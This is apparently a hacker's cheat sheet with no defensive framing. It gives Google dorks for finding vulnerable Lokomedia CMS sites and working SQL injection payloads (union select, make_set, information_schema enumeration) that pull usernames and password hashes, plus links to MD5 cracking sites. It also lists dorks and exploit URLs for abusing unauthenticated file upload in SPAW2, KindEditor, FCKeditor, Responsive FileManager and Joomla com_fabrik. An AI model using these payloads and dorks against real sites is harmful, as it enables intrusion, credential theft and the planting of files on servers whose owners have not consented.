Lokomedia SQLi

inurl:statis-1-profil.html

inurl:statis-2-profil.html

inurl:statis-3-strukturorganisasi.html

'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+

statis-2'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+-profil.html

https://hashkiller.co.uk/md5-decrypter.aspx
http://md5online.org/

Find admin

SQLI

+order+by+7--
+union+select+1,2,3,4,5,6,7--
+union+select+1,2,@@version,4,5,6,7--
+union+select+1,2,group_concat(table_name),4,5,6,7+from+information_schema.tables+where+table_schema=database()--

#Char Konver Decimal
https://www.easycalculation.com/ascii-hex.php

+union+select+1,2,group_concat(column_name),4,5,6,7+from+information_schema.columns+where+table_name=CHAR(117,115,101,114,95,116,98,108)--

+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+user_tbl--

https://hashkiller.co.uk/md5-decrypter.aspx


http://codebeautify.org/string-hex-converter


Other SQLI

Spaw2

Dork :
inurl:"spaw2/dialogs/"
inurl:"spaw2/uploads/files/"

ExPloit:
/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2 &lang=es&charset=&scid=cf73b58bb51c52235494da752d9 8cac9&type=files

/spaw2/dialogs/dialog.php?module=spawfm&dialog=spawfm&theme=spaw2&lang=es&charset=&scid=cf73b58bb51c52235494da752d98cac9&type=files

KindEditor Methode

Dork inurl:examples/uploadbutton.html
Then Upload

Fck Editor

dork:inurl:editor/editor/filemanager

 Then Upload

Responsive FileManager Methode

Dork :
inurl:/filemanager/ intext:"dialog.php"
inurl:/js/filemanager/ intext:"dialog.php"
inurl:/assets/filemanager/ intext:"dialog.php"

Then Upload

com_fabrik Method

Dork : inurl:index.php?option=com_fabrik
Exploit : /index.php?option=com_fabrik&c=import&view=import&filetype=csv&table=1

Then Upload File